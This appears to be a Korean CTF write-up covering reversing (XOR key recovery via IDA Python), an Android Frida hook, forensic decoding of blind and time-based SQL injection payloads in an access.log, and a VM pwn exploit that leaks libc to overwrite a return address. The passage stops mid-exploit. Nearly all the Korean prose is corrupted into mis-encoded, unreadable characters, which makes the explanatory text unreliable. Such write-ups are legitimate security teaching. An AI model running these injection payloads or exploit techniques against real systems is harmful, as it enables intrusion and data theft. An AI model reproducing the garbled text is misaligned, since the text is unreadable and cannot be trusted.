- sub_42D710๋ sub_401000์์ ๋ ๋ฒ ํธ์ถ๋๋ค. VirtualProtect๋ฅผ ํตํด ํน์ ์์ญ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ PAGE_EXECUTE_READWRITE(0x40)์ผ๋ก ๋ณ๊ฒฝ์ํจ๋ค. ๊ทธ ํ ์ธ๋ฒ ์งธ ์ธ์ ๊ฐ์ ์ฐธ์กฐํ์ฌ Xor ์ฐ์ฐ ํ๋ค.
- sub_401000 ํจ์ ๋ด ๋ณ์ ๋ฐ ํจ์ ์ด๋ฆ์ ๋ณด๊ธฐ ์ฝ๊ฒ ๋ค์ด๋ฐํ์๋ค.
- ํด๋น ํจ์์ ์คํ ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ๋ค.
- scanf_s ํจ์๋ฅผ ํตํด ์ ๋ ฅ์ ๋ฐ๋๋ค.
- ์ ๋ ฅ ๊ฐ์ ๊ธ์ ์๋ฅผ ํ์ธํ๊ณ , 5๊ธ์๊ฐ ์๋ ์ 1์ ๋ฐํํ๋ค.
- 0x4010D0 ์ฃผ์์์ 0x2C630(0x42D700 - 0x4010D0) ํฌ๊ธฐ ๋งํผ ์ ๋ ฅ ๊ฐ๊ณผ Xor ์ฐ์ฐ ํ๋ค.
- 0x44A8C0 ์ฃผ์์์ 0x20 ํฌ๊ธฐ ๋งํผ ์ ๋ ฅ ๊ฐ๊ณผ Xor ์ฐ์ฐ ํ๋ค.
- Xor ์ฐ์ฐ ํ์ 0x4010D0 ํจ์๋ฅผ ํธ์ถํ๋ค.
- Xor ์ฐ์ฐ ์ 0x4010D0 ํจ์๋ ์์ ๊ฐ์ด ์๊ฒผ๋ค. ์คํ ๊ฐ๋ฅํ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ก๋ ๋ณด์ด์ง ์๋๋ค.
"๊ทธ๋ ๋ค๋ฉด, ์ ๋ ฅ ๊ฐ์ด 5๊ธ์์ธ ๊ฒ ์ธ์ ๋จ์๋ ๋ฌด์์ด ์์๊น?"
- 0x4010D0์ ๋ค๋ฅธ ํจ์์ ๊ณตํต๋ ํจ์ ํ๋กค๋ก๊ทธ๋ฅผ ๊ฐ์ง๊ณ ์์ ๊ฒ์ด๋ค. x86 ์คํ ๋ฐ์ด๋๋ฆฌ๋ ํจ์ ์์ ์ ์๋์ ๊ฐ์ ํจ์ ํ๋กค๋ก๊ทธ๋ฅผ ๊ฐ์ง๊ณ ์๋ค.
55 push ebp
8B EC mov ebp, esp
83 EC XX sub esp, N
- ๋ฌธ์ ๋ฐ์ด๋๋ฆฌ์์๋ ํจ์ ํ๋กค๋ก๊ทธ ์ด์ ์ 2๋ฐ์ดํธ ์ด์
๋ธ๋ฆฌ
xchg
ax
,
ax
๊ฐ ๋ณด์ธ๋ค. ํด๋น ์ด์ ๋ธ๋ฆฌ๋ 2๋ฐ์ดํธ NOP ์ฝ๋0x66 0x90
์ด๋ค. Visual Studio ์ปดํ์ผ ์ HotPatch ์ต์ ์ด ํ์ฑํ ๋ ๊ฒฝ์ฐ ์๊ธฐ๋ ์ฝ๋์ด๋ค.
- Hot Patching์ ์ฌ์ฉํ 5๋ฐ์ดํธ
0x66 0x90 0x55 0x8B 0xEC
๋ฅผ ํตํด, ์ ๋ ฅ ๊ฐ์ ๊ตฌํ ์ ์๋ค. apple0x61 0x70 0x70 0x6C 0x65
=
0x07 0xE0 0x25 0xE7 0x89
Xor
0x66 0x90 0x55 0x8B 0xEC
- apple์ ์ ๋ ฅํ๋ ๋ ๋ค์ ์ ๋ ฅ์ ๋ฐ๋๋ค.
- Xor ์ฐ์ฐ์ ์ํํ 0x4010D0 ๋ถ๋ถ์ ์ฝ๋๊ฐ ์ ์์ ์ผ๋ก ๋ณด์ธ๋ค.
- ๋ค์ ์ ๋ ฅ ๊ฐ์ ํฌ๊ธฐ๋ 5์ด๋ฉฐ, 0x4011A0 ์ฃผ์์ Xor ์ฐ์ฐํ๋ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค. ์ฐ์ฐํ ํฌ๊ธฐ๋ 0x2C560(0x42D700 - 0x4011A0)์ด๋ค.
- apple๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ์ ๋ ฅ ๊ฐ mango๋ฅผ ๊ตฌํ ์ ์๋ค. *apple์ ์ ๋ ฅ ํ ๋ฐ๋ 0x4010A0 ~ 0x4010A4 ๋ฒ์์ ๊ฐ์ ์ฌ์ฉํด์ผํ๋ค.
- ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ๋ค์ ์ ๋ ฅ ๊ฐ lemon์ ๊ตฌํ ์ ์๋ค.
- ์ธ ๋ฒ์งธ ์ ๋ ฅ ๊ฐ lemon ์ดํ์๋ ์ ๋ ฅ ๊ฐ์ด 6์ผ๋ก ์ฆ๊ฐํ๋ค.
- ๊ทธ๋๋ ์๋ ค์ง 5๋ฐ์ดํธ๋ฅผ ํตํด orang 5๊ธ์๋ฅผ ๊ตฌํ ์ ์๋ค.
์ด์ ์ ๊ณผ์ผ์ด ๋์์ผ๋ฏ๋ก orange๋ก ์ ์ถํด ๋ณผ ์ ์๋ค.
๋ํ
sub
esp
,
N
์ฝ๋์0x83 0xEC 0x??
๋ฅผ ํตํด์ ์ด ์ต๋ 7๊ธ์๋ฅผ ๊ตฌํ ์ ์๋ค.
- ์๋ ค์ง 7๋ฐ์ดํธ์ ์ ์ถ๋ฅผ ํตํด์ Key๋ฅผ ์ด 10๋ฒ ์ ๋ ฅํ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ค.
key_info = [
{"addr":0x4010D0, "size":5, "data":[0x07, 0xE0, 0x25, 0xE7, 0x89]},
{"addr":0x4011A0, "size":5, "data":[0x0B, 0xF1, 0x3B, 0xEC, 0x83]},
{"addr":0x401270, "size":5, "data":[0x0A, 0xF5, 0x38, 0xE4, 0x82]},
{"addr":0x401350, "size":6, "data":[0x09, 0xE2, 0x34, 0xE5, 0x8B, 0xE6]},
{"addr":0x401430, "size":6, "data":[0x04, 0xF1, 0x3B, 0xEA, 0x82, 0xE2]},
{"addr":0x401510, "size":6, "data":[0x02, 0xE5, 0x27, 0xE2, 0x8D, 0xED]},
{"addr":0x4015F0, "size":7, "data":[0x05, 0xE5, 0x27, 0xF9, 0x8D, 0xED, 0x98]},
{"addr":0x4016D0, "size":7, "data":[0x07, 0xE6, 0x3A, 0xE8, 0x8D, 0xE7, 0x83]},
{"addr":0x4017B0, "size":7, "data":[0x05, 0xFF, 0x36, 0xE4, 0x82, 0xF6, 0x98]},
{"addr":0x401890, "size":8, "data":[0x0B, 0xF1, 0x3B, 0xEF, 0x8D, 0xF1, 0x85, 0x4E]}
]
known_bytes = [0x66, 0x90, 0x55, 0x8B, 0xEC, 0x83, 0xEC]
for k in key_info:
data = k["data"]
key = ""
size = len(data)
for i in range(size):
key += chr(data[i] ^ known_bytes[i % 7])
print(key[:5] + "?" * (size - 5), "=>", key) #Known Bytes Size == 5, 7
""" #Result
apple => apple
mango => mango
lemon => lemon
orang? => orange
banan? => banana
duria? => durian
curra?? => currant
avoca?? => avocado
cocon?? => coconut
manda??? => mandari? => mandarin*
"""
Hot Patching 777
- ์ด์ Hot Patching ๋ฌธ์ ๋ ๋ณ๋์ ์๋ํ ์์ด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ ์์๋ค.
- 0x401890 ํจ์์์ ์ฒซ ๋ฒ์งธ Flag๋ฅผ ์ถ๋ ฅํด์ฃผ๊ณ , ๋ค์ Flag๋ฅผ ์ํ ์ฐ์ฐ์ด ์ํ๋๋ค.
- 10 ๋ฒ์งธ Key๊น์ง ๋ชจ๋ ์ฌ๋ฐ๋ฅด๊ฒ ์ ๋ ฅ๋ ๊ฒฝ์ฐ, ๋ค์ ํจ์๋ ๋ณ๋ ์ ๋ ฅ ์ฒ๋ฆฌ ์์ด ๋ณตํธํ ๋๋ค.
- ์ฒซ ๋ฒ์งธ Flag ์ถ๋ ฅ ์ด์ ๊น์ง๋ 5~8 ๊ธ์์ ์ ๋ ฅ ๊ฐ์ด ํ์ํ์ง๋ง, 11 ๋ฒ์งธ๋ 17 ๊ธ์๋ฅผ ์๊ตฌํ๋ค.
- ์๋ ค์ง 7๋ฐ์ดํธ๋ฅผ ํตํด, ์ผ๋ถ๋ฅผ ๋ณต๊ตฌํ์ฌ๋ ์ด์ ๊ณผ ๋ค๋ฅด๊ฒ ํน์ ๋จ์ด๋ก ์ถ์ ํ ์ ์๋ค.
TO5yQyc
0x54 0x4F 0x35 0x79 0x51 0x79 0x63
=
0x32 0xDF 0x60 0xF2 0xBD 0xFA 0x8F
Xor
0x66 0x90 0x55 0x8B 0xEC 0x83 0xEC
"๊ทธ๋ ๋ค๋ฉด, ์๋ ค์ง 7๋ฐ์ดํธ ์ธ์ ๋จ์๊ฐ ํ์ํ๋ค."
- ์ง๊ธ๊น์ง Flag ์ถ๋ ฅ ํจ์ ์ธ ๋ชจ๋ ํจ์๋ ๊ฐ์ ํ์์ผ๋ก ๊ตฌ์ฑ๋์ด์๋ค. ๋ค๋ฅธ ์ ์ ์ ๋ ฅ ๊ฐ์ ํฌ๊ธฐ, ๋ณตํธํ ๋์ ์ฃผ์, ๋ค์ ํจ์ ์ฃผ์ ๋ฑ์ด๋ค.
- ํจ์์ ๋ด์ฉ์ ๋ชจ๋ ๊ฐ์ง๋ง, ์ค๊ฐ ์ค๊ฐ ๋๋ฏธ์ฝ๋๊ฐ ํผ๋์ ์ฃผ๊ณ ์๋ค. ๋๋ฏธ์ฝ๋์ ์ํฅ์ ๋ฐ์ง ์์ผ๋ฉด์ ๊ณตํต๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ฅผ ์ฐพ์์ผํ๋ค.
- strlen ๊ธฐ๋ฅ์ ์ฝ๋ ๋๋ถ์ ๋ฌด๋ ค 58๋ฐ์ดํธ์ ๊ณตํต ์ฝ๋๋ฅผ ์ฐพ์ ์ ์๋ค. *๋ง์ง๋ง cmp ๋ช ๋ น์ ๊ธ์์(0x07) ๋น๊ต ์ ๊น์ง 58 ๋ฐ์ดํธ
- ํ์ฌ Flag ์ถ๋ ฅ ์ธ 11๊ฐ ํจ์๊ฐ ๋ณตํธํ๋์ด์๋ค. ๊ณตํต ์ฝ๋๋ฅผ ๊ฒ์ํ ๊ฒฐ๊ณผ ๋ํ 11๊ฐ๋ค. ์ด๋ฅผ ํ์ฉํ์ฌ ์ ๋ ฅ ๊ฐ ์ถ์ถ ์๋ํ๋ฅผ ์ํํ ์ ์๋ค.
- ์๋์ ๊ฐ์ ๋ด์ฉ์ ํ ๋๋ก ์๋ํ ์ฝ๋๋ฅผ ์์ฑํ์๋ค.
- ๋์ค์ด์ ๋ธ๋ฌ๋ฅผ ํตํด, cmp ๋ช ๋ น์ด์์ ๋น๊ตํ ์ ๋ ฅ ๊ฐ์ ๊ตฌํ๋ค.
- ์ดํ sub ๋ช ๋ น์ด์์ Xor ์ฐ์ฐ ์์ ์ฃผ์๋ฅผ ๊ตฌํ๋ค.
- ์๋ ค์ง 5๋ฐ์ดํธ๋ฅผ ํตํด, ์ ๋ ฅ ๊ฐ์ ์ฒซ 5๊ธ์๋ฅผ ํ๋ํ๋ค.
- ์ฒซ 5๊ธ์๋ฅผ ํจ์น ๋์ ๋ฐ์ดํฐ์ Xor ์ฐ์ฐํ๊ณ , ๊ณตํต ์ฝ๋ 58๋ฐ์ดํธ์ ํฌํจ๋๋์ง ํ์ธํ๋ค.
- ํฌํจ๋ ๊ฒฝ์ฐ ์ ๋ ฅ ๊ฐ์ ์ถ์ถํ ์ ์๋ค.
- ๋์ค์ด์ ๋ธ๋ฌ, ์ฝ๋ ํจ์น ๊ธฐ๋ฅ์ ์ํํ ์ ์๋ IDA Python์ ์ฌ์ฉํ์ฌ ์์ฑํ๋ค.
import struct
p32 = lambda x:struct.pack("<L", x)
# patch_xor : Xor ์ฐ์ฐ์ ํตํด ํจ์น๋ฅผ ์ํํ๋ ํจ์
def patch_xor(addr_patch, addr_end, xor_key):
size_patch = addr_end - addr_patch
for i in range(size_patch):
cur = addr_patch + i
idc.PatchByte(cur, idc.Byte(cur) ^ xor_key[i % len(xor_key)])
# Xor ์ฐ์ฐํ ๋ฐ์ดํฐ๋ฅผ ํจ์นํ์ฌ ๋ฐ์
idc.MakeUnknown(cur, 1, idc.DOUNK_SIMPLE)
# ํจ์น ํ Unknown ํํ๋ก ๋ณํํ์ฌ ์๋ชป๋ ๋์ค์ด์
๋ธ๋ฆฌ ๋ฐฉ์ง
return
# xor_data : ๋จ์ Xor ํจ์
def xor_data(addr_xor, addr_end, xor_key):
result = []
size_xor = addr_end - addr_xor
for i in range(size_xor):
cur = addr_xor + i
result.append(idc.Byte(cur) ^ xor_key[i % len(xor_key)])
return result
addr_start = 0x401000 # ํจ์ ์์ ์ฃผ์
addr_end = 0x42D700 # ํจ์ ๋ง์ง๋ง ์ฃผ์, ๊ธธ์ด ๊ณ์ฐ์ ์ฌ์ฉ
cnt = 0
keys = []
cur = addr_start
while cur < addr_end: # ๋์ค์ด์
๋ธ๋ฆฌ๋ฅผ ํตํด Key ํฌ๊ธฐ, ํจ์น ์ฃผ์๋ฅผ ๊ตฌํจ
key_size = 0
addr_patch = 0
while cur < addr_end:
try:
dis = idc.GetDisasm(cur)
if dis.find("retn") != -1:
break
# cmp ๋ช
๋ น์ด์์ Key ํฌ๊ธฐ ์ถ์ถ
if dis.find("cmp") != -1 and dis.find("], 0") == -1:
tmp = dis.split(", ")[1]
if tmp.find("h") != -1:
key_size = int(tmp[:-1], base=16)
else:
key_size = int(tmp)
# sub ๋ช
๋ น์ด์์ ํจ์น ์ฃผ์ ์ถ์ถ
if dis.find("sub") != -1 and dis.find("offset") != -1:
tmp = dis.split("_")[1].replace(" ", "")
if tmp.find(";") != -1:
tmp = tmp.split(";")[0]
addr_patch = int(tmp, base=16)
cur += idc.ItemSize(cur)
except:
break
print cnt, key_size, hex(addr_patch),
# Flag ์ถ๋ ฅ ํจ์์ ๊ฒฝ์ฐ ์์๋ก Key์ ์์
if cnt == 10:
key_size = 32
tmp = p32(0x454D4E4A)
tmp += p32(0x07692B4B)
tmp += p32(0x2D0C1A2C)
tmp += p32(0x0E0D100A)
tmp += p32(0x09090476)
tmp += p32(0x26065966)
tmp += p32(0x1C103417)
tmp += p32(0x567C2075)
prev_key = xor_key[::]
xor_key = []
for i in range(key_size):
xor_key.append(ord(tmp[i]) ^ prev_key[i % len(prev_key)])
# ์ฐ์ฐ ์ค๋ฅ๊ฐ ์์ ์ break
if key_size == 0 or addr_patch == 0:
break
# Flag ์ถ๋ ฅ ํจ์๊ฐ ์๋ ๊ฒฝ์ฐ, Key ์ถ์ถ ์ํ
if key_size != 32:
known_data = [0x66, 0x90, 0x55, 0x8B, 0xEC] # ์๋ ค์ง Hot Patching 5๋ฐ์ดํธ
xor_key = []
# Hot Patching 5๋ฐ์ดํธ๋ฅผ ํตํด, Key ์ฒซ 5๊ธ์ ์ถ์ถ
for i in range(5):
xor_key.append(idc.Byte(addr_patch + i) ^ known_data[i])
# 5๊ธ์ ๋ณด๋ค ๋ง์ ๊ฒฝ์ฐ
if key_size != 5:
xor_key += [0x00] * (key_size - 5)
# ๋ชจ๋ฅด๋ ๊ธ์๋ 0x00์ผ๋ก ์ฑ์ฐ๊ณ Xor ์ฐ์ฐ ์ํ
data = xor_data(addr_patch, addr_end, xor_key)
# ๊ณตํต 58๋ฐ์ดํธ ์ฝ๋
known_data = [0xC7, 0x45, 0xF8, 0x04, 0xB3, 0x44, 0x00, 0x8B, 0x45, 0xF8, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xF4, 0x8B, 0x4D, 0xF8, 0x8A, 0x11, 0x88, 0x55, 0xFF, 0x83, 0x45, 0xF8, 0x01, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xEE, 0x8B, 0x45, 0xF8, 0x2B, 0x45, 0xF4, 0x89, 0x45, 0xF0, 0x8B, 0x4D, 0xF0, 0x89, 0x0D, 0x00, 0xB3, 0x44, 0x00]
known_data = "".join(chr(x) for x in known_data)
# ๊ณตํต 58๋ฐ์ดํธ ์ฝ๋๋ฅผ ํตํ, Key ์ ๋ถ๋ฅผ ๋ณต๊ตฌ
xor_key = xor_key[:5]
for i in range(len(data) - key_size):
# ๊ณตํต ์ฝ๋์ Xor ์ํํ ๊ฒฐ๊ณผ๋ฅผ 5๋ฐ์ดํธ์ฉ ๋น๊ต
cur_data = "".join(chr(x) for x in data[i:i+5])
idx = known_data.find(cur_data)
if idx != -1: #
# ๊ณตํต ์ฝ๋์ ์ด๋ ์ธ๋ฑ์ค๋ถํฐ Key์ด ์์ ๋๋์ง ํ์ธ
# (Key ํฌ๊ธฐ, ๋๋ฏธ ์ฝ๋ ๋ฑ์ ์ํด ์คํ์
์ด ๋งค๋ฒ ๋ค๋ฅด๊ธฐ ๋๋ฌธ)
org = known_data[idx+5:idx+5+key_size]
for j in range(key_size - 5):
xor_key.append(ord(org[j]) ^ data[i+5+j]) #Key ๋ณต๊ตฌ
break
if len(xor_key) == 5:
# Flag ์ถ๋ ฅ ํจ์(11 ๋ฒ์งธ)์ ๊ฒฝ์ฐ ์์ธ๋ก ์ฒ๋ฆฌ
if cnt == 9:
xor_key += [ord('r'), ord('i'), ord('n')] #mandarin
else:
print "Error!!"
xor_key += [0x00] * (key_size - 5)
print "".join(chr(x) for x in xor_key)
keys.append("".join(chr(x) for x in xor_key))
patch_xor(addr_patch, addr_end, xor_key) # ์ถ์ถํ Key๋ฅผ ํตํด ํจ์น ์ํ
idc.MakeCode(addr_patch) # ์ด์
๋ธ๋ฆฌ ์ฝ๋๋ก ๋ณํ
idc.MakeFunction(addr_patch) # ํจ์ํ ์ํ
cur = addr_patch
cnt += 1
f = open("solve_key.txt", "wb") # ์ถ์ถํ Key๋ฅผ ์ ์ฅ
for i in range(len(keys)):
f.write(keys[i])
f.write("\r\n")
f.close()
- Flag ๋ํ ์๋์ผ๋ก ์ฐ์ฐํ ์ ์์ง๋ง, ์๋ํ๋ก ์ถ์ถํ ์ ๋ ฅ ๊ฐ์ ๋ณต์ฌ ํ ๋์ ํ์ฌ ํ๋ํ์๋ค.
EASYROID
- JAVA ์ฝ๋๋ฅผ ๋จผ์ ์ดํด๋ณด์.
MainActivity
๊ฐ ์คํ๋๋ฉดlibnative-lib.so
์ ์ ์๋์ด ์๋stringFromJNI
ํจ์๋ฅผ ํธ์ถ ํ๋คsetText
๋กTextView
์ ๋ฃ์ด์ฃผ๋ ๊ฐ๋จํ ์ฝ๋์ด๋ค.
stringFromJNI
ํจ์๋ฅผ ์ดํด๋ณด์.stringFromJNI
ํจ์๋Hello BOB9?
๋ฌธ์์ด์ ๋ฆฌํดํด์ค๋ค.
๊ฒฐ๊ตญ ์ฑ์ ์คํํ๋ฉด ํ๋ฉด์ Hello BOB9?
๋ฌธ์์ด์ด ์ถ๋ ฅ๋์. ์คํํด์ ํ์ธํ์.
libnative-lib.so
์ Export Table์ ์ดํด๋ณด๋ฉด stringFromJNI
ํจ์ ์ด ์ธ ํ ๊ฐ์ง ํจ์๊ฐ ๋ ์กด์ฌํ๋ค.
HiddenStage ํจ์๋ฅผ ์ดํด๋ณด์.
BLOWFISH ๋ฅผ ์ฌ์ฉํด์ ํน์ ๊ฐ์ Decrypt ํ๊ณ Flag๋ฅผ ์ถ๋ ฅํด๋ณด์.
๋ฐ๋ผ์ F0
๋ฅผ BLOWFISH์ ํค๋ก BOB9
์ ์ฌ์ฉํด์ Decrypt ํด์ฃผ๋ฉด Flag๊ฐ ๋์ค๊ฒ ์ง?
ํ์ง๋ง ์ฌ๊ธฐ์ Fake
๊ฐ ์กด์ฌํ๋ค. Init์ ๋ง์ง๋ง ์ธ์๋ Key Size์ธ๋ฐ 7์ด๋ค.
๋ฐ์ ์ค์ BLOWFISH์ ํค ๊ฐ์ BOB9\x00\x00\x00
!
์ด๋ฐ Fake์ ๋นํ์ง ์์ผ๋ ค๋ฉด ์ค์ ๋ก ๊ทธ๋๋ก ์คํํ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
์๋ก์ด ํ๋ก์ ํธ๋ฅผ ๋ง๋ค์ด์ .so๋ฅผ ๋ผ์๋ฃ๊ณ ์ปดํ์ผํ๋ ๋ฐฉ๋ฒ๋ ์๊ฒ ์ง๋ง Frida๋ฅผ ์ฌ์ฉํด๋ณด์.
var addrStringFromJNI = Module.findExportByName(null, 'Java_jeong_su_bob9_1easy_1android_MainActivity_stringFromJNI');
var addrHiddenStage = Module.findExportByName(null, 'Java_jeong_su_bob9_1easy_1android_MainActivity_HiddenStage');
var HiddenStage = new NativeFunction(addrHiddenStage, 'int', ['pointer']);
Interceptor.attach(addrStringFromJNI, {
onEnter: function(argv){
this.arg0 = argv[0];
},
onLeave: function(rets){
rets.replace( HiddenStage(this.arg0) );
}
});
์ด ์คํฌ๋ฆฝํธ๋ stringFromJNI ํจ์๊ฐ ํธ์ถ๋๋ฉด HiddenStage ํจ์๋ฅผ ํธ์ถํ์ฌ ๋ฆฌํด์ ๋ณ๊ฒฝํด์ฃผ๋ ์คํฌ๋ฆฝํธ์ด๋ค.
am start -n jeong.su.bob9_easy_android/.MainActivity
๊ทธ๋ฆฌ๊ณ MainActivity๋ฅผ am ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ์์ํด์ฃผ๋ฉด ์๋์ ๊ฐ์ด ํ๋๊ทธ๋ฅผ ํ์ธํ ์ ์๋ค.
๐ฅ๏ธ FORENSIC
SQL Eyes
- ํด๋น ๋ฌธ์ ์์๋ ์น ์๋ฒ์ access.log ํ์ผ์ด ์ ๊ณต๋์๋ค.
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=1 HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=2-1 HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7C1-- HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7Cif%28substr%28lpad%28bin%28ord%28substr%28flag%2C1%2C1%29%29%29%2C8%2C0%29%2C1%2C1%29%3D1%2C1%2C%28select+1+union+select+2%29%29-- HTTP/1.1" 500 185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /archives/ HTTP/1.1" 404 437 "-" "DirBuster-0.12 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7Cif%28substr%28lpad%28bin%28ord%28substr%28flag%2C1%2C1%29%29%29%2C8%2C0%29%2C2%2C1%29%3D1%2C1%2C%28select+1+union+select+2%29%29-- HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7Cif%28substr%28lpad%28bin%28ord%28substr%28flag%2C1%2C1%29%29%29%2C8%2C0%29%2C3%2C1%29%3D1%2C1%2C%28select+1+union+select+2%29%29-- HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
- access.log๋ฅผ ํตํด ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ ๊ณต๊ฒฉ์ Blind SQL Injection ๊ณต๊ฒฉ์ธ ๊ฒ์ ์ ์ ์๋๋ฐ ์ ํ์ด 2๊ฐ์ง๊ฐ ์๋ค.
0||if(substr(lpad(bin(ord(substr(flag,1,1))),8,0),1,1)=1,1,(select 1 union select 2))
์ ํตํด ๊ฑฐ์ง์ผ ๊ฒฝ์ฐ์๋ 500 ์๋ฌ๋ฅผ ๋ฐ์์์ผ Error based SQL Injection ๊ณต๊ฒฉ์ ํ ๊ฒ์ ํ์ธํ ์ ์๋ค.
- ๋๋ฒ์งธ ์ ํ์
0||if(substr(lpad(bin(ord(substr(flag,12,1))),8,0),1,1)=1,sleep(3)=0,1)=0--
์ ํตํด ์ฐธ์ผ ๊ฒฝ์ฐ 3์ด sleepํ์ฌ Time based SQL Injection ๊ณต๊ฒฉ์ ํ ๊ฒ์ ํ์ธํ ์ ์๋ค.
- ์ ๋๊ฐ์ง ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ํตํด ๊ณต๊ฒฉ์๊ฐ ์ ์ถํ ๋ฐ์ดํฐ๋ฅผ ํ์ ํ๋ฉด ๋๋ค. ์๋์ ๊ฐ์ด ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ์ฌ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ ์๋ค.
f = open('access.log', 'r')
temp = ""
flag = ""
prevsec = 0
first_bypass = True
for line in f.readlines():
x = line.split()
if len(x) == 0:
continue
if "OWASP_DirBuster_Project" in x[-1]:
continue
if 'union' in x[6]:
if x[8] == '200':
temp += "1"
else:
temp += "0"
if len(temp) % 8 == 0 and len(temp) != 0:
flag += chr(int(temp, 2))
print(flag)
temp = ""
if 'sleep' in x[6]:
if first_bypass:
first_bypass = False
continue
hour, min, sec = x[3].split(":")[1:]
allsec = int(min) * 60 + int(sec)
relsec = allsec - 3111
if (relsec - prevsec) > 2.5:
temp += "1"
else:
temp += "0"
if len(temp) % 8 == 0 and len(temp) != 0:
flag += chr(int(temp, 2))
print(flag)
temp = ""
prevsec = relsec
๐ฅ๏ธ PWN
bvm-pwn
bvm opcode๋ฅผ ํด์ํ๊ณ ์คํํ๋ ๊ณผ์ ์์ ์ด 3๊ฐ์ง ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค.
COMP reg, reg
opcode์์ left register index์ ๋ํด์๋ ๊ฒฝ๊ณ ๊ฒ์ฌ๋ฅผ ํ์ง๋ง right register index๋ ๊ฒฝ๊ณ ๊ฒ์ฌ๋ฅผ ํ์ง ์์, ๊ฒฝ๊ณ๋ฅผ ๋๋ register index๋ฅผ ์ฐธ์กฐํ์ฌ 255๋ฒ ๋ฐ๋ณต ๋น๊ต๋ฅผ ํตํด ์ผ๋ถ stack ์์ญ์ ๊ฐ์ ์ ์ผ๋ก leak ํ ์ ์๋ค.
LSHIRT/RSHIFT reg, reg, reg
opcode์์ left register index์ ๋ํ ๊ฒฝ๊ณ ๊ฒ์ฌ๋ฅผ ํ์ง ์์ ์ผ๋ถ stack ์์ญ์ ๋ฎ์ ์ ์๋ค.
MOVE reg, [reg]
opcode์์ register index์ ๋ํ ๊ฒฝ๊ณ ๊ฒ์ฌ๋ ํ์ง๋งvm->reg[right_idx]
๊ฐvm->size
๋ณด๋ค ํฐ์ง์ ๋ํ ๊ฒ์ฌ๋ฅผ ํ์ง์์ ์ผ๋ถ stack ์์ญ์ leak ํ ์ ์๋ค. 3๋ฒ์ ๊ฒฝ์ฐ ์ฌ์ค ์๋ํ์ง ์์ ์ทจ์ฝ์ ์ผ๋ก, ๋ํ ๋์ค ํจํท ๋ชจ๋ํฐ๋ง์ ํ์ ๋ ํ๋๊ทธ๋ฅผ ํ๋ํ 4๋ถ ๋ชจ๋ 1๋ฒ ๋์ ์ด ์ทจ์ฝ์ ์ ์ด์ฉํ์๋ค.
์ ์ทจ์ฝ์ ์ผ๋ก main return address๋ฅผ leakํ์ฌ libc ์ฃผ์๋ฅผ ์ป๊ณ oneshot gadget๋ฅผ ๊ณ์ฐํ์ฌ ๋ค์ main return address๋ฅผ ๋ฎ์ผ๋ฉด ์์ ํ๋ํ ์ ์๋ค.
๋ง์ง๋ง์ผ๋ก ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๋ vm code๋ฅผ ์์ฑํด์ผํ๋ค.
pwn.asm
.LEAK_DATA
empty 8
.LEAK_WORD_1
MOVE cx, 0
:LABEL_1
COMP cx, 18x
MOVE ax, cx
ADD cx, 1
JNE LABEL_1
RETURN
.LEAK_WORD_2
MOVE cx, 0
:LABEL_2
COMP cx, 19x
MOVE ax, cx
ADD cx, 1
JNE LABEL_2
RETURN
.LEAK_WORD_3
MOVE cx, 0
:LABEL_3
COMP cx, 20x
MOVE ax, cx
ADD cx, 1
JNE LABEL_3
RETURN
.LEAK_WORD_4
MOVE cx, 0
:LABEL_4
COMP cx, 21x
MOVE ax, cx
ADD cx, 1
JNE LABEL_4
RETURN
.MAIN
// leak libc
CALL LEAK_WORD_1
MOVE bx, SECTION#LEAK_DATA
ADD bx, 0
MOVE [bx], ax
CALL LEAK_WORD_2
MOVE bx, SECTION#LEAK_DATA
ADD bx, 2
MOVE [bx], ax
CALL LEAK_WORD_3
MOVE bx, SECTION#LEAK_DATA
ADD bx, 4
MOVE [bx], ax
CALL LEAK_WORD_4
MOVE bx, SECTION#LEAK_DATA
ADD bx, 6
MOVE [bx], ax
// leak
MOVE cx, 8
MOVE bx, SECTION#LEAK_DATA
